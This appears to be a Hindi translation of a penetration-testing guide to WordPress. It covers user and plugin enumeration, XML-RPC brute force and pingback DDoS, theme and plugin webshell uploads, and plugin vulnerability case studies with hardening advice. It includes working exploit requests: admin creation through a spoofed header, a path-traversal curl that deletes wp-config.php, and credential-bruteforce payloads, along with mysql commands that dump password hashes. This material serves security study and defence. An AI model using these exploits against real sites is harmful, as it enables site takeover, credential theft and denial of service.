Wordpress

Reading time: 30 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

  • Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, इसलिए अगर आप theme के किसी php को बदलकर RCE हासिल करना चाहते हैं तो आप शायद उसी path का उपयोग करेंगे। उदाहरण के लिए: Using theme twentytwelve आप 404.php फ़ाइल को इस पाथ पर access कर सकते हैं: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • In wp-config.php आप database का root password पा सकते हैं।

  • Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt में उपयोगी जानकारी होती है जैसे कि इंस्टॉल किया गया WordPress का version।
  • wp-activate.php नया WordPress साइट सेटअप करते समय email activation प्रक्रिया के लिए उपयोग होता है।
  • Login folders (may be renamed to hide it):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php एक फ़ाइल है जो WordPress की उस फ़ीचर का प्रतिनिधित्व करती है जो HTTP को transport mechanism और XML को encoding mechanism के रूप में उपयोग करके डेटा ट्रांसमिट करने की अनुमति देती है। इस प्रकार की संचार विधि को WordPress के REST API ने बदल दिया है।
  • wp-content फ़ोल्डर मुख्य डायरेक्टरी है जहाँ plugins और themes स्टोर होते हैं।
  • wp-content/uploads/ वह डायरेक्टरी है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहित होती हैं।
  • wp-includes/ यह वह डायरेक्टरी है जहाँ core फ़ाइलें स्टोर होती हैं, जैसे कि certificates, fonts, JavaScript files, और widgets।
  • wp-sitemap.xml WordPress versions 5.5 और उससे ऊपर में, Worpress एक sitemap XML फ़ाइल जनरेट करता है जिसमें सभी public posts और publicly queryable post types और taxonomies होते हैं।

Post exploitation

  • wp-config.php फ़ाइल में WordPress को database से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे database name, database host, username और password, authentication keys और salts, और database table prefix। यह configuration फ़ाइल DEBUG mode को सक्रिय करने के लिए भी उपयोग की जा सकती है, जो troubleshooting में उपयोगी हो सकता है।

Users Permissions

  • Administrator
  • Editor: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है
  • Author: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है
  • Contributor: अपने पोस्ट लिखता और प्रबंधित करता है पर उन्हें प्रकाशित नहीं कर सकता
  • Subscriber: पोस्ट ब्राउज़ करता है और अपनी प्रोफ़ाइल संपादित करता है

Passive Enumeration

Get WordPress version

चेक करें कि क्या आप फ़ाइलें /license.txt या /readme.html पा सकते हैं

पृष्ठ के source code के अंदर (उदाहरण के लिए from https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS लिंक फ़ाइलें

  • JavaScript फ़ाइलें

प्लगइन्स प्राप्त करें

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

थीम प्राप्त करें

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

सामान्य रूप से संस्करण निकालें

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

सक्रिय अन्वेषण

प्लगइन्स और थीम्स

आप संभवतः सभी प्लगइन्स और थीम्स नहीं ढूँढ पाएँगे। उन्हें खोजने के लिए, आपको सक्रिय रूप से Brute Force करके प्लगइन्स और थीम्स की सूची निकालनी होगी (हमें उम्मीद है कि हमारे लिए ऐसी स्वचालित tools मौजूद हैं जिनमें ये सूचियाँ होती हैं)।

उपयोगकर्ता

  • ID Brute: आप WordPress साइट से Brute Forcing users IDs के जरिए वैध उपयोगकर्ता प्राप्त कर सकते हैं:
bash
curl -s -I -X GET http://blog.example.com/?author=1

यदि प्रतिक्रिया 200 या 30X है, तो इसका मतलब है कि id मान्य है। यदि प्रतिक्रिया 400 है, तो id अमान्य है।

  • wp-json: आप users के बारे में जानकारी प्राप्त करने के लिए query कर सकते हैं:
bash
curl http://blog.example.com/wp-json/wp/v2/users

एक अन्य /wp-json/ endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी उजागर कर सकता है:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह फीचर सक्षम है

Also note that /wp-json/wp/v2/pages could leak IP addresses.

  • Login username enumeration: जब /wp-login.php पर लॉगिन करते समय संदेश अलग होता है और यह दर्शाता है कि username मौजूद है या नहीं

XML-RPC

यदि xml-rpc.php सक्रिय है तो आप credentials brute-force कर सकते हैं या इसे अन्य संसाधनों पर DoS attacks लॉन्च करने के लिए उपयोग कर सकते हैं। (You can automate this process using this for example).

यह सक्रिय है या नहीं देखने के लिए /xmlrpc.php तक पहुँचने का प्रयास करें और यह अनुरोध भेजें:

जांचें

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories या metaWeblog.getUsersBlogs कुछ ऐसे मेथड्स हैं जिन्हें credentials को brute-force करने के लिए उपयोग किया जा सकता है। यदि आप इनमें से कोई भी ढूंढ़ पाएँ तो आप कुछ ऐसा भेज सकते हैं:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

The message "Incorrect username or password" inside a 200 code response should appear if the credentials aren't valid.

यदि credentials मान्य नहीं हैं तो 200 कोड response के भीतर संदेश "Incorrect username or password" दिखाई देना चाहिए।

सही credentials का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। response में path दिखाई देगा (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

इसके अलावा, system.multicall का उपयोग करके brute-force credentials के लिए एक तेज़ तरीका है, क्योंकि आप एक ही रिक्वेस्ट में कई credentials आज़मा सकते हैं:

Bypass 2FA

यह विधि प्रोग्राम्स के लिए है, इंसानों के लिए नहीं, और पुरानी होने के कारण यह 2FA को सपोर्ट नहीं करती। इसलिए, अगर आपके पास valid creds हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो आप xmlrpc.php का दुरुपयोग करके उन creds से 2FA बायपास कर लॉगिन कर सकते हैं। ध्यान रखें कि आप console के माध्यम से कर पाए जाने वाले सभी actions नहीं कर पाएंगे, लेकिन फिर भी आप RCE तक पहुँच सकते हैं जैसा कि Ippsec ने https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s में समझाया है।

DDoS or port scanning

यदि आप list के अंदर pingback.ping method को ढूँढ पाते हैं तो आप Wordpress को किसी भी host/port पर arbitrary request भेजवा सकते हैं।
इसे उपयोग करके आप हज़ारों Wordpress साइटों से एक ही स्थान को एक्सेस करवाएँगे (जिससे उस स्थान पर DDoS होता है), या आप इसे उपयोग करके Wordpress को किसी internal नेटवर्क पर स्कैन करवा सकते हैं (आप कोई भी पोर्ट निर्दिष्ट कर सकते हैं)।

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

यदि आपको faultCode का मान बड़ा 0 (17) से मिलता है, तो इसका मतलब है कि port खुला है।

पिछले अनुभाग में system.multicall के उपयोग को देखें ताकि आप सीख सकें कि इस विधि का दुरुपयोग करके DDoS कैसे किया जा सकता है।

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

यह फ़ाइल आमतौर पर Wordpress साइट की रूट में मौजूद होती है: /wp-cron.php\ जब इस फ़ाइल को एक्सेस किया जाता है, तो एक "भारी" MySQL query निष्पादित होती है, इसलिए इसका उपयोग हमलावर द्वारा DoS पैदा करने के लिए किया जा सकता है।\ इसके अलावा, डिफ़ॉल्ट रूप से, wp-cron.php को हर पेज लोड पर कॉल किया जाता है (जब भी कोई क्लाइंट किसी भी Wordpress पेज का अनुरोध करता है), जो high-traffic साइट्स पर समस्याएँ (DoS) पैदा कर सकता है।

सुझाव दिया जाता है कि Wp-Cron को disable करें और host के अंदर एक वास्तविक cronjob बनाएं जो नियमित अंतराल पर आवश्यक कार्यों को निष्पादित करे (बिना समस्याएँ पैदा किए)।

/wp-json/oembed/1.0/proxy - SSRF

Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

यह टूल चेक करता है कि methodName: pingback.ping मौजूद है और पाथ /wp-json/oembed/1.0/proxy मौजूद है या नहीं, और अगर मौजूद हैं तो यह उन्हें exploit करने की कोशिश करता है।

Automatic Tools

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

एक बिट ओवरराइट करके एक्सेस प्राप्त करें

यह असल हमला होने के बजाय एक जिज्ञासा है। CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man में आप किसी भी wordpress फ़ाइल का 1 बिट पलट सकते थे। इसलिए आप फ़ाइल /var/www/html/wp-includes/user.php की स्थिति 5389 पर बिट पलटकर NOT (!) ऑपरेशन को NOP कर सकते थे।

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

थीम में उपयोग किए गए php को संशोधित करना (admin credentials आवश्यक)

Appearance → Theme Editor → 404 Template (at the right)

php shell के लिए सामग्री बदलें:

इंटरनेट पर खोजें कि आप उस अपडेट किए गए पृष्ठ तक कैसे पहुँच सकते हैं। इस मामले में आपको यहाँ पहुँचना होगा: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

आप उपयोग कर सकते हैं:

bash
use exploit/unix/webapp/wp_admin_shell_upload

सत्र प्राप्त करने के लिए।

Plugin RCE

PHP plugin

कभी-कभी .php फाइलें plugin के रूप में अपलोड करना संभव हो सकता है।
उदाहरण के लिए अपना php backdoor बनाएं:

फिर एक नया plugin जोड़ें:

Plugin अपलोड करें और Install Now दबाएँ:

Procced पर क्लिक करें:

शायद इससे कुछ भी नहीं होगा, लेकिन अगर आप Media में जाएँ तो आप अपना shell अपलोड हुआ देखेंगे:

इसे access करें और आप reverse shell execute करने का URL देखेंगे:

Uploading and activating malicious plugin

यह तरीका एक ऐसी malicious plugin की installation में शामिल है जिसे vulnerable के रूप में जाना जाता है और जिसका exploit करके web shell प्राप्त किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से इस प्रकार की जाती है:

  1. Plugin Acquisition: Plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है, उदाहरण के लिए here.
  2. Plugin Installation:
  • WordPress dashboard पर जाएँ, फिर Dashboard > Plugins > Upload Plugin पर जाएँ।
  • डाउनलोड किए गए plugin की zip फ़ाइल अपलोड करें।
  1. Plugin Activation: एक बार plugin सफलतापूर्वक install हो जाने पर, इसे dashboard के माध्यम से activate किया जाना चाहिए।
  2. Exploitation:
  • जब "reflex-gallery" plugin install और activate हो, तो इसे exploit किया जा सकता है क्योंकि यह vulnerable के रूप में जाना जाता है।
  • Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और विशिष्ट कमांड्स execute करके एक meterpreter session स्थापित किया जा सकता है, जो site पर unauthorized access प्रदान कर सकता है।
  • यह केवल WordPress साइट को exploit करने के कई तरीकों में से एक है।

सामग्री में WordPress dashboard में plugin install और activate करने के चरणों को दर्शाते हुए दृश्य संदर्भ शामिल हैं। हालांकि, यह ध्यान रखना महत्वपूर्ण है कि बिना उचित अनुमति के इस प्रकार vulnerabilities का exploit करना अवैध और अनैतिक है। यह जानकारी ज़िम्मेदारी से और केवल कानूनी संदर्भ में ही उपयोग की जानी चाहिए, जैसे कि penetration testing जब स्पष्ट अनुमति हो।

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike एक स्क्रिप्ट है जो Cross-Site Scripting (XSS) vulnerability को Remote Code Execution (RCE) या अन्य critical vulnerabilities में escalate करने के लिए डिज़ाइन की गई है WordPress में। अधिक जानकारी के लिए this post देखें। यह Wordpress Versions 6.X.X, 5.X.X and 4.X.X के लिए सपोर्ट प्रदान करता है और यह अनुमति देता है:
  • Privilege Escalation: WordPress में एक user बनाता है।
  • (RCE) Custom Plugin (backdoor) Upload: अपना custom plugin (backdoor) WordPress पर अपलोड करें।
  • (RCE) Built-In Plugin Edit: WordPress में Built-In Plugins को edit करें।
  • (RCE) Built-In Theme Edit: WordPress में Built-In Themes को edit करें।
  • (Custom) Custom Exploits: Third-Party WordPress Plugins/Themes के लिए custom exploits।

Post Exploitation

यूज़रनेम और पासवर्ड निकालें:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

admin password बदलें:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

हमले की सतह

किस तरह एक Wordpress plugin फ़ंक्शनैलिटी को एक्सपोज़ कर सकता है यह जानना उसकी functionality में vulnerabilities खोजने के लिए अहम है। आप नीचे दिए गए बुलेट पॉइंट्स में देख सकते हैं कि एक plugin किस तरह functionality एक्सपोज़ कर सकता है और कुछ vulnerable plugins के उदाहरण this blog post में दिए गए हैं।

  • wp_ajax

एक plugin उपयोगकर्ताओं के लिए फ़ंक्शन्स एक्सपोज़ करने के तरीकों में से एक AJAX handlers के जरिए होता है। इनमें लॉजिक, authorization, या authentication bugs हो सकते हैं। इसके अलावा, अक्सर ये फ़ंक्शन्स authentication और authorization दोनों को wordpress nonce की मौजूदगी पर आधारित कर देते हैं, जो Wordpress instance में authenticated किसी भी user के पास हो सकता है (चाहे उसकी role कोई भी हो)।

ये वे functions हैं जिनका उपयोग plugin में किसी function को एक्सपोज़ करने के लिए किया जा सकता है:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

`nopriv`` का उपयोग endpoint को किसी भी उपयोगकर्ता (यहाँ तक कि अप्रमाणित उपयोगकर्ताओं) द्वारा पहुँच योग्य बना देता है।

caution

इसके अलावा, यदि फ़ंक्शन केवल wp_verify_nonce फ़ंक्शन के साथ उपयोगकर्ता के प्राधिकरण की जांच कर रहा है, तो यह फ़ंक्शन केवल यह जांचता है कि उपयोगकर्ता लॉग इन है; यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं करता। इसलिए कम-विशेषाधिकार वाले उपयोगकर्ताओं को उच्च-विशेषाधिकार वाली क्रियाओं की पहुँच मिल सकती है।

  • REST API

यह भी संभव है कि wordpress में register_rest_route फ़ंक्शन का उपयोग करके functions को expose किया जाए:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback एक callback फ़ंक्शन है जो जाँच करता है कि दिया गया उपयोगकर्ता API method को कॉल करने के लिए अधिकृत है या नहीं।

If the built-in __return_true function is used, it'll simply skip user permissions check.

  • Direct access to the php file

बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फ़ाइलें वेब से सीधे सुलभ होती हैं। इसलिए, यदि कोई plugin ऐसी कोई vulnerable functionality उजागर कर रहा है जो केवल फ़ाइल तक पहुँचने से ट्रिगर हो जाती है, तो वह किसी भी उपयोगकर्ता द्वारा exploitable होगी।

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

कुछ plugins internal integrations या reverse proxies के लिए “trusted header” शॉर्टकट लागू करते हैं और फिर उस header का उपयोग REST requests के लिए वर्तमान user context सेट करने के लिए करते हैं। यदि वह header किसी upstream component द्वारा cryptographically request के साथ bound नहीं है, तो एक attacker उसे spoof कर सकता है और privileged REST routes को administrator के रूप में हिट कर सकता है।

  • Impact: core users REST route के माध्यम से एक नया administrator बनाकर unauthenticated privilege escalation to admin।
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (user ID 1 को मजबूर करता है — आम तौर पर पहला administrator account)।
  • Exploited route: POST /wp-json/wp/v2/users एक elevated role array के साथ।

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • प्लगइन एक क्लाइंट-नियंत्रित हेडर को प्रमाणीकृत स्थिति से मैप करता है और capability checks को स्किप कर देता है।
  • WordPress core इस route के लिए create_users capability की अपेक्षा करता है; प्लगइन hack इसे बायपास करता है, हेडर से सीधे वर्तमान उपयोगकर्ता संदर्भ सेट करके।

Expected success indicators

  • HTTP 201, एक JSON बॉडी के साथ जो बनाए गए उपयोगकर्ता का विवरण देती है।
  • एक नया admin उपयोगकर्ता wp-admin/users.php में दिखाई देगा।

Detection checklist

  • getallheaders(), $_SERVER['HTTP_...'], या उन vendor SDKs के लिए grep करें जो कस्टम हेडर पढ़कर उपयोगकर्ता संदर्भ सेट करते हैं (उदा., wp_set_current_user(), wp_set_auth_cookie()).
  • उन REST registrations की समीक्षा करें जहाँ privileged callbacks के पास मजबूत permission_callback चेक्स नहीं हैं और वे अनुरोध हेडरों पर निर्भर करते हैं।
  • REST handlers के अंदर core user-management functions (wp_insert_user, wp_create_user) के उपयोग खोजें जिन्हें केवल हेडर मानों द्वारा gated किया गया है।

Hardening

  • कभी भी क्लाइंट-नियंत्रित हेडरों से प्रमाणीकरण या प्राधिकरण न निकाले।
  • यदि एक reverse proxy को identity इंजेक्ट करनी ही है, तो proxy पर ट्रस्ट समाप्त करें और इनबाउंड कॉपियाँ हटा दें (उदा., unset X-Wcpay-Platform-Checkout-User at the edge), फिर एक signed token पास करें और इसे server-side पर सत्यापित करें।
  • विशेषाधिकार वाले कार्य करने वाले REST routes के लिए current_user_can() चेक्स और एक कड़ा permission_callback आवश्यक करें (__return_true का उपयोग न करें)।
  • हेडर “impersonation” की बजाय first-party auth (cookies, application passwords, OAuth) को प्राथमिकता दें।

References: पृष्ठ के अंत में दिए लिंक देखें जो एक सार्वजनिक केस और व्यापक विश्लेषण प्रस्तुत करते हैं।

अनप्रमाणीकृत मनमाना फ़ाइल विलोपन via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes and plugins अक्सर AJAX handlers को wp_ajax_ और wp_ajax_nopriv_ hooks के माध्यम से एक्सपोज करते हैं। जब nopriv variant का उपयोग किया जाता है तो callback अनप्रमाणीकृत विजिटर्स द्वारा पहुँच योग्य हो जाता है, इसलिए कोई भी संवेदनशील क्रिया अतिरिक्त रूप से लागू करनी चाहिए:

  1. एक capability check (उदा., current_user_can() या कम से कम is_user_logged_in()), और
  2. एक CSRF nonce जिसे check_ajax_referer() / wp_verify_nonce() से मान्य किया गया हो, और
  3. कठोर इनपुट sanitisation / validation

The Litho multipurpose theme (< 3.1) ने Remove Font Family फीचर में उन 3 नियंत्रणों को भूल गया और अंततः निम्नलिखित कोड (सरलीकृत) शिप किया:

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

इस स्निपेट द्वारा उत्पन्न समस्याएँ:

  • बिना प्रमाणीकरण पहुँचwp_ajax_nopriv_ hook पंजीकृत है।
  • कोई nonce / capability check नहीं – कोई भी विज़िटर endpoint को हिट कर सकता है।
  • कोई path sanitisation नहीं – उपयोगकर्ता-नियंत्रित fontfamily स्ट्रिंग बिना फ़िल्टरिंग के एक फ़ाइल सिस्टम पथ के साथ जोड़ दी जाती है, जिससे क्लासिक ../../ traversal संभव हो जाता है।

Exploitation

एक हमलावर एकल HTTP POST request भेजकर uploads base directory के नीचे (आम तौर पर <wp-root>/wp-content/uploads/) किसी भी फ़ाइल या डायरेक्टरी को हटा सकता है:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the इंस्टॉलेशन विज़ार्ड on the next visit, enabling a full site take-over (हमलावर केवल एक नया DB configuration देता है और एक admin उपयोगकर्ता बनाता है).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

डिटेक्शन चेकलिस्ट

  • कोई भी add_action( 'wp_ajax_nopriv_...') callback जो फ़ाइल सिस्टम हेल्पर्स (copy(), unlink(), $wp_filesystem->delete(), आदि) को कॉल करता हो।
  • पथों में साफ़ न किया गया उपयोगकर्ता इनपुट जोड़ना (देखें $_POST, $_GET, $_REQUEST)।
  • check_ajax_referer() और current_user_can()/is_user_logged_in() की अनुपस्थिति।

हार्डनिंग

php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

tip

हमेशा किसी भी write/delete ऑपरेशन को डिस्क पर privileged मानें और दोबारा जाँच करें: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath() plus str_starts_with()).


Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

कई plugins एक "view as role" या temporary role-switching feature को लागू करते हैं, जो मूल role(s) को user meta में सेव करके बाद में restore करने के लिए रखते हैं। यदि restoration path केवल request parameters (e.g., $_REQUEST['reset-for']) और plugin-maintained सूची पर निर्भर करता है और capabilities और वैध nonce की जाँच नहीं करता, तो यह एक vertical privilege escalation बन जाता है।

एक वास्तविक उदाहरण Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1) में पाया गया। reset branch ने roles को reset-for=<username> के आधार पर restore किया अगर username internal array $options['viewing_admin_as_role_are'] में मौजूद हो, लेकिन current roles को हटाने और user meta _asenha_view_admin_as_original_roles से saved roles को फिर से जोड़ने से पहले न तो current_user_can() चेक किया गया और न ही कोई nonce verification:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Why it’s exploitable

  • सर्वर-साइड प्राधिकरण के बिना $_REQUEST['reset-for'] और plugin विकल्प पर भरोसा करता है।
  • यदि किसी user के पास पहले _asenha_view_admin_as_original_roles में उच्च-प्राधिकार सहेजे गए थे और बाद में उन्हें डाउनग्रेड किया गया, तो वे reset path को हिट करके उन्हें पुनर्स्थापित कर सकते हैं।
  • कुछ deployments में, कोई भी प्रमाणीकृत user viewing_admin_as_role_are में अभी भी मौजूद किसी अन्य username के लिए reset ट्रिगर कर सकता है (टूटी हुई प्राधिकरण जाँच)।

Attack prerequisites

  • कमजोर plugin संस्करण जिसमें यह फीचर सक्षम हो।
  • लक्षित खाता के user meta में पहले के उपयोग से एक अवशिष्ट उच्च-प्राधिकार रोल मौजूद होना।
  • कोई भी प्रमाणीकृत सत्र; reset flow पर nonce/capability की कमी।

Exploitation (example)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., administrator), effectively escalating privileges.

Detection checklist

  • ऐसी role-switching सुविधाओं की तलाश करें जो user meta में “मूल भूमिकाएँ” (उदा., _asenha_view_admin_as_original_roles) को स्थायी रूप से संग्रहीत करती हैं।
  • Identify reset/restore paths that:
  • $_REQUEST / $_GET / $_POST से usernames पढ़ते हैं।
  • add_role() / remove_role() के माध्यम से roles बदलते हैं बिना current_user_can() और wp_verify_nonce() / check_admin_referer() के।
  • किसी plugin option array (उदा., viewing_admin_as_role_are) के आधार पर authorize करते हैं बजाय actor की capabilities के।

Hardening

  • हर state-changing ब्रांच पर capability checks लागू करें (उदा., current_user_can('manage_options') या अधिक कड़ा)।
  • सभी role/permission परिवर्तनों के लिए nonces अनिवार्य करें और उन्हें verify करें: check_admin_referer() / wp_verify_nonce()
  • कभी भी request-supplied usernames पर भरोसा न करें; authenticated actor और स्पष्ट नीति के आधार पर target user को server-side पर resolve करें।
  • प्रोफ़ाइल/role अपडेट्स पर “original roles” स्टेट को invalid कर दें ताकि stale उच्च-प्रिविलेज़ पुनर्स्थापना से बचा जा सके:
php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
  • अस्थायी भूमिका परिवर्तन के लिए न्यूनतम state संग्रहीत करने और time-limited, capability-guarded tokens का उपयोग करने पर विचार करें।

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

कुछ plugins सार्वजनिक init hook पर user-switching helpers को जोड़ते हैं और पहचान client-controlled cookie से निकालते हैं। यदि कोड wp_set_auth_cookie() को authentication, capability और एक वैध nonce सत्यापित किए बिना कॉल करता है, तो कोई भी unauthenticated विज़िटर किसी भी arbitrary user ID के रूप में लॉगिन करने के लिए मजबूर कर सकता है।

Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

क्यों यह शोषण योग्य है

  • सार्वजनिक init hook हैंडलर को गैर-प्रमाणीकृत उपयोगकर्ताओं द्वारा पहुँचने योग्य बनाता है (कोई is_user_logged_in() गार्ड नहीं)।
  • पहचान क्लाइंट-परिवर्तनीय cookie (original_user_id) से निकाली जाती है।
